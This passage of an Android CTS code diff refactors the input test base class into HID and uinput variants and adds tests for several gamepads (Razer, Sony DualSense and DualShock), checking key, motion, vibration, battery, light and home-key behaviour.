+        assertTrue(testCase + " (source)", expected.isFromSource(actual.getSource()));
+    }
+
+    /**
+     * Asserts meta states. Separate this into a different method to allow individual test case to
+     * specify it.
+     *
+     * @param expectedMetaState expected meta state specified in JSON files.
+     * @param actualMetaState actual meta state received in the test app.
+     */
+    void assertMetaState(String testCase, int expectedMetaState, int actualMetaState) {
+        assertEquals(testCase + " (meta state)", expectedMetaState, actualMetaState);
     }
 
     /**
@@ -177,66 +227,71 @@
         failWithMessage("extraneous events generated: " + event);
     }
 
-    protected void testInputEvents(int resourceId) {
-        List<HidTestData> tests = mParser.getTestData(resourceId);
-
-        for (HidTestData testData: tests) {
-            mCurrentTestCase = testData.name;
-
-            // Send all of the HID reports
-            for (int i = 0; i < testData.reports.size(); i++) {
-                final String report = testData.reports.get(i);
-                mHidDevice.sendHidReport(report);
+    protected void verifyEvents(List<InputEvent> events) {
+        mActivityRule.getActivity().setInputCallback(mInputListener);
+        // Make sure we received the expected input events
+        if (events.size() == 0) {
+            // If no event is expected we need to wait for event until timeout and fail on
+            // any unexpected event received caused by the HID report injection.
+            InputEvent event = waitForEvent();
+            if (event != null) {
+                fail(mCurrentTestCase + " : Received unexpected event " + event);
             }
-
-            // Make sure we received the expected input events
-            for (int i = 0; i < testData.events.size(); i++) {
-                final InputEvent event = testData.events.get(i);
-                try {
-                    if (event instanceof MotionEvent) {
-                        assertReceivedMotionEvent((MotionEvent) event);
-                        continue;
-                    }
-                    if (event instanceof KeyEvent) {
-                        assertReceivedKeyEvent((KeyEvent) event);
-                        continue;
-                    }
-                } catch (AssertionError error) {
-                    throw new AssertionError("Assertion on entry " + i + " failed.", error);
-                }
-                fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
-            }
+            return;
         }
+        for (int i = 0; i < events.size(); i++) {
+            final InputEvent event = events.get(i);
+            try {
+                if (event instanceof MotionEvent) {
+                    assertReceivedMotionEvent((MotionEvent) event);
+                    continue;
+                }
+                if (event instanceof KeyEvent) {
+                    assertReceivedKeyEvent((KeyEvent) event);
+                    continue;
+                }
+            } catch (AssertionError error) {
+                throw new AssertionError("Assertion on entry " + i + " failed.", error);
+            }
+            fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
+        }
+        assertNoMoreEvents();
+    }
+
+    protected void testInputEvents(int resourceId) {
+        testInputDeviceEvents(resourceId);
         assertNoMoreEvents();
     }
 
     private InputEvent waitForEvent() {
         try {
-            return mEvents.poll(5, TimeUnit.SECONDS);
+            return mEvents.poll(1, TimeUnit.SECONDS);
         } catch (InterruptedException e) {
             failWithMessage("unexpectedly interrupted while waiting for InputEvent");
             return null;
         }
     }
 
+    // Ignore Motion event received during the 5 seconds timeout period. Return on the first Key
+    // event received.
     private KeyEvent waitForKey() {
-        InputEvent event = waitForEvent();
-        if (event instanceof KeyEvent) {
-            return (KeyEvent) event;
-        }
-        if (event instanceof MotionEvent) {
-            failWithMessage("Instead of a key event, received " + event);
+        for (int i = 0; i < 5; i++) {
+            InputEvent event = waitForEvent();
+            if (event instanceof KeyEvent) {
+                return (KeyEvent) event;
+            }
         }
         return null;
     }
 
+    // Ignore Key event received during the 5 seconds timeout period. Return on the first Motion
+    // event received.
     private MotionEvent waitForMotion() {
-        InputEvent event = waitForEvent();
-        if (event instanceof MotionEvent) {
-            return (MotionEvent) event;
-        }
-        if (event instanceof KeyEvent) {
-            failWithMessage("Instead of a motion event, received " + event);
+        for (int i = 0; i < 5; i++) {
+            InputEvent event = waitForEvent();
+            if (event instanceof MotionEvent) {
+                return (MotionEvent) event;
+            }
         }
         return null;
     }
@@ -337,6 +392,20 @@
         }
     }
 
+    protected void requestFocusSync() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mDecorView.setFocusable(true);
+            mDecorView.setFocusableInTouchMode(true);
+            mDecorView.requestFocus();
+        });
+        PollingCheck.waitFor(mDecorView::hasFocus);
+    }
+
+    protected void requestPointerCaptureSync() throws Throwable {
+        mDecorView.requestPointerCapture();
+        requestFocusSync();
+    }
+
     protected class PointerCaptureSession implements AutoCloseable {
         protected PointerCaptureSession() {
             requestPointerCaptureSync();
@@ -349,10 +418,12 @@
 
         private void requestPointerCaptureSync() {
             mInstrumentation.runOnMainSync(mDecorView::requestPointerCapture);
+            PollingCheck.waitFor(() -> mDecorView.hasPointerCapture());
         }
 
         private void releasePointerCaptureSync() {
             mInstrumentation.runOnMainSync(mDecorView::releasePointerCapture);
+            PollingCheck.waitFor(() -> !mDecorView.hasPointerCapture());
         }
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputUinputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputUinputTestCase.java
new file mode 100644
index 0000000..ec4e384
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputUinputTestCase.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputTestData;
+
+import java.util.List;
+
+public class InputUinputTestCase extends InputTestCase {
+    private static final String TAG = "InputUinputTestCase";
+    private UinputDevice mUinputDevice;
+
+    InputUinputTestCase(int registerResourceId) {
+        super(registerResourceId);
+    }
+
+    @Override
+    protected void setUpDevice(int id, int vendorId, int productId, int sources,
+            String registerCommand) {
+        mUinputDevice = new UinputDevice(mInstrumentation, id, vendorId, productId, sources,
+                registerCommand);
+    }
+
+    @Override
+    protected void tearDownDevice() {
+        if (mUinputDevice != null) {
+            mUinputDevice.close();
+        }
+    }
+
+    @Override
+    protected void testInputDeviceEvents(int resourceId) {
+        List<UinputTestData> tests = mParser.getUinputTestData(resourceId);
+
+        for (UinputTestData testData: tests) {
+            mCurrentTestCase = testData.name;
+
+            // Send all of the evdev Events
+            for (int i = 0; i < testData.evdevEvents.size(); i++) {
+                final String injections = testData.evdevEvents.get(i);
+                mUinputDevice.injectEvents(injections);
+            }
+            verifyEvents(testData.events);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
index 5712ca7..0a61779 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 
 import android.hardware.cts.R;
+import android.view.KeyEvent;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
@@ -28,7 +29,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class MicrosoftDesignerKeyboardTest extends InputTestCase {
+public class MicrosoftDesignerKeyboardTest extends InputHidTestCase {
 
     public MicrosoftDesignerKeyboardTest() {
         super(R.raw.microsoft_designer_keyboard_register);
@@ -40,15 +41,14 @@
     }
 
     /**
-     * Relax the source check on this test because we encountered a Linux kernel behavior change in
-     * 4.18 or later that splits the device into multiple devices according to its applications in
-     * HID descriptor. That change further lets Android framework split the KeyboardInputMapper
-     * because it thinks they are different devices which in turn split the source flags. Therefore
-     * we relax the test so that it can pass with both behaviors until we reach a consensus with
-     * upstream Linux on the desired behavior.
+     * Microsoft Designer Keyboard has meta control keys of NUM_LOCK, CAPS_LOCK and SCROLL_LOCK.
+     * Do not verify the meta key states that have global state and initially to be on.
      */
     @Override
-    void assertSource(String testCase, int expectedSource, int actualSource) {
-        assertEquals(testCase + " (source)", expectedSource & actualSource, actualSource);
+    void assertMetaState(String testCase, int expectedMetaState, int actualMetaState) {
+        final int metaStates = KeyEvent.META_NUM_LOCK_ON | KeyEvent.META_CAPS_LOCK_ON
+                | KeyEvent.META_SCROLL_LOCK_ON;
+        actualMetaState &= ~metaStates;
+        assertEquals(testCase + " (meta state)", expectedMetaState , actualMetaState);
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
index 50ac183..4e10b36 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class MicrosoftSculpttouchTest extends InputTestCase {
+public class MicrosoftSculpttouchTest extends InputHidTestCase {
 
     public MicrosoftSculpttouchTest() {
         super(R.raw.microsoft_sculpttouch_register);
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
index 74e74ea..387ead3 100755
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class MicrosoftXbox2020Test extends InputTestCase {
+public class MicrosoftXbox2020Test extends InputHidTestCase {
 
     // Exercises the Bluetooth behavior of the Xbox One S controller
     public MicrosoftXbox2020Test() {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
index ae4a30d..fab8b50 100755
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
@@ -26,7 +26,7 @@
 

 @SmallTest

 @RunWith(AndroidJUnit4.class)

-public class MicrosoftXboxOneSTest extends InputTestCase {

+public class MicrosoftXboxOneSTest extends InputHidTestCase {

 

     // Exercises the Bluetooth behavior of the Xbox One S controller

     public MicrosoftXboxOneSTest() {

diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
index 1e3c3b0..1477720 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
@@ -32,18 +32,18 @@
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
-public class NintendoSwitchProTest extends InputTestCase {
+public class NintendoSwitchProTest extends InputHidTestCase {
     public NintendoSwitchProTest() {
         super(R.raw.nintendo_switchpro_register);
     }
 
     @Before
-    public void setUp() {
+    public void setUp() throws Exception {
         super.setUp();
         /**
          * During probe, hid-nintendo sends commands to the joystick and waits for some of those
          * commands to execute. Somewhere in the middle of the commands, the driver will register
-         * an input device, which is the notification received by InputTestCase.
+         * an input device, which is the notification received by InputHidTestCase.
          * If a command is still being waited on while we start writing
          * events to uhid, all incoming events are dropped, because probe() still hasn't finished.
          * To ensure that hid-nintendo probe is done, add a delay here.
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerJunglecatBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerJunglecatBluetoothTest.java
new file mode 100644
index 0000000..5a9a8cd
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerJunglecatBluetoothTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RazerJunglecatBluetoothTest extends InputHidTestCase {
+
+    // Simulates the behavior of Razer Junglecat gamepad.
+    public RazerJunglecatBluetoothTest() {
+        super(R.raw.razer_junglecat_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.razer_junglecat_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.razer_junglecat_motioneventtests);
+    }
+
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerKishiTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerKishiTest.java
new file mode 100644
index 0000000..5a11d7f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerKishiTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RazerKishiTest extends InputHidTestCase {
+
+    // Simulates the behavior of Razer Kishi gamepad.
+    public RazerKishiTest() {
+        super(R.raw.razer_kishi_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.razer_kishi_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.razer_kishi_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerRaijuMobileBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerRaijuMobileBluetoothTest.java
new file mode 100644
index 0000000..210b368
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerRaijuMobileBluetoothTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
+import android.view.KeyEvent;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RazerRaijuMobileBluetoothTest extends InputHidTestCase {
+
+    // Simulates the behavior of Razer Raiju Mobile gamepad.
+    public RazerRaijuMobileBluetoothTest() {
+        super(R.raw.razer_raiju_mobile_bluetooth_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.razer_raiju_mobile_bluetooth_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.razer_raiju_mobile_bluetooth_motioneventtests);
+    }
+
+    /**
+     * Add BUTTON_MODE to the activity's unhandled keys list to allow the fallback
+     * of HOME. Do home button behavior check with wm utils.
+     */
+    @Test
+    public void testHomeKey() throws Exception {
+        mActivityRule.getActivity().addUnhandleKeyCode(KeyEvent.KEYCODE_BUTTON_MODE);
+        testInputEvents(R.raw.razer_raiju_mobile_bluetooth_homekey);
+
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+
+        wmStateHelper.waitForHomeActivityVisible();
+        wmStateHelper.assertHomeActivityVisible(true);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
index 2122085..030c030 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
@@ -17,6 +17,7 @@
 package android.hardware.input.cts.tests;
 
 import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.MediumTest;
@@ -26,7 +27,7 @@
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
-public class RazerServalTest extends InputTestCase {
+public class RazerServalTest extends InputHidTestCase {
     public RazerServalTest() {
         super(R.raw.razer_serval_register);
     }
@@ -43,4 +44,18 @@
     public void testAllMotions() {
         testInputEvents(R.raw.razer_serval_motioneventtests);
     }
+
+    /**
+     * We cannot test the home key using "testAllKeys" because the home key does not go to the
+     * apps, and therefore cannot be received in InputCtsActivity.
+     * Instead, we rely on the home button behavior check using the wm utils.
+     */
+    @Test
+    public void testHomeKey() {
+        testInputEvents(R.raw.razer_serval_homekey);
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+
+        wmStateHelper.waitForHomeActivityVisible();
+        wmStateHelper.assertHomeActivityVisible(true);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
new file mode 100644
index 0000000..08a98b8
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseBluetoothTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SonyDualSenseBluetoothTest extends InputHidTestCase {
+
+    // Simulates the behavior of PlayStation DualSense gamepad
+    public SonyDualSenseBluetoothTest() {
+        super(R.raw.sony_dualsense_bluetooth_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.sony_dualsense_bluetooth_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.sony_dualsense_bluetooth_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
new file mode 100644
index 0000000..8baf254
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SonyDualSenseUsbTest extends InputHidTestCase {
+
+    // Simulates the behavior of PlayStation DualSense gamepad
+    public SonyDualSenseUsbTest() {
+        super(R.raw.sony_dualsense_usb_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.sony_dualsense_usb_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.sony_dualsense_usb_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
index e65fa7a..dc53e74 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock3UsbTest extends InputTestCase {
+public class SonyDualshock3UsbTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock3 gamepad (model CECHZC2U)
     public SonyDualshock3UsbTest() {
@@ -42,4 +42,9 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock3_usb_motioneventtests);
     }
+
+    @Test
+    public void testLights() throws Exception {
+        testInputLightsManager(R.raw.sony_dualshock3_usb_lighttests);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
index ca36a68..f8be924 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4BluetoothTest extends InputTestCase {
+public class SonyDualshock4BluetoothTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 gamepad (model CUH-ZCT1U)
     public SonyDualshock4BluetoothTest() {
@@ -42,4 +42,26 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock4_bluetooth_motioneventtests);
     }
+
+    @Test
+    public void testVibrator() throws Exception {
+        testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
+    }
+
+    @Test
+    public void testBattery() {
+        testInputBatteryEvents(R.raw.sony_dualshock4_bluetooth_batteryeventtests);
+    }
+
+    @Test
+    public void testAllTouch() throws Throwable {
+        try (PointerCaptureSession session = new PointerCaptureSession()) {
+            testInputEvents(R.raw.sony_dualshock4_toucheventtests);
+        }
+    }
+
+    @Test
+    public void testLights() throws Exception {
+        testInputLightsManager(R.raw.sony_dualshock4_bluetooth_lighttests);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
index c5f761f..8a95e9c 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4ProBluetoothTest extends InputTestCase {
+public class SonyDualshock4ProBluetoothTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 Pro gamepad (model CUH-ZCT2U)
     public SonyDualshock4ProBluetoothTest() {
@@ -42,4 +42,10 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock4_bluetooth_motioneventtests);
     }
+
+    @Test
+    public void testVibrator() throws Exception {
+        testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
+    }
+
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java
index 8e967ff..5dd82aa 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4ProUsbTest extends InputTestCase {
+public class SonyDualshock4ProUsbTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 Pro gamepad (model CUH-ZCT2U)
     public SonyDualshock4ProUsbTest() {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
index 062dced..739ea36 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4UsbTest extends InputTestCase {
+public class SonyDualshock4UsbTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 gamepad (model CUH-ZCT1U)
     public SonyDualshock4UsbTest() {
@@ -42,4 +42,14 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock4_usb_motioneventtests);
     }
+
+    @Test
+    public void testBattery() {
+        testInputBatteryEvents(R.raw.sony_dualshock4_usb_batteryeventtests);
+    }
+
+    @Test
+    public void testVibrator() throws Exception {
+        testInputVibratorEvents(R.raw.sony_dualshock4_usb_vibratortests);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/UsbVoiceCommandTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/UsbVoiceCommandTest.java
new file mode 100644
index 0000000..889e415
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/UsbVoiceCommandTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assume.assumeFalse;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.hardware.cts.R;
+import android.hardware.input.cts.InputAssistantActivity;
+import android.server.wm.WindowManagerStateHelper;
+import android.speech.RecognizerIntent;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class UsbVoiceCommandTest extends InputHidTestCase {
+    private static final String TAG = "UsbVoiceCommandTest";
+
+    private final UiDevice mUiDevice =
+            UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    private final UiAutomation mUiAutomation =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    private final PackageManager mPackageManager =
+            InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+    private final Intent mVoiceIntent;
+    private final Intent mWebIntent;
+    private final List<String> mExcludedPackages = new ArrayList<String>();
+
+    // Simulates the behavior of Google Gamepad with Voice Command buttons.
+    public UsbVoiceCommandTest() {
+        super(R.raw.google_gamepad_usb_register);
+        mVoiceIntent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
+        mVoiceIntent.putExtra(RecognizerIntent.EXTRA_SECURE, true);
+        mWebIntent = new Intent(RecognizerIntent.ACTION_WEB_SEARCH);
+    }
+
+    private void setPackageState(boolean enabled) throws Exception {
+        runWithShellPermissionIdentity(mUiAutomation, () -> {
+            for (int i = 0; i < mExcludedPackages.size(); i++) {
+                if (enabled) {
+                    mPackageManager.setApplicationEnabledSetting(
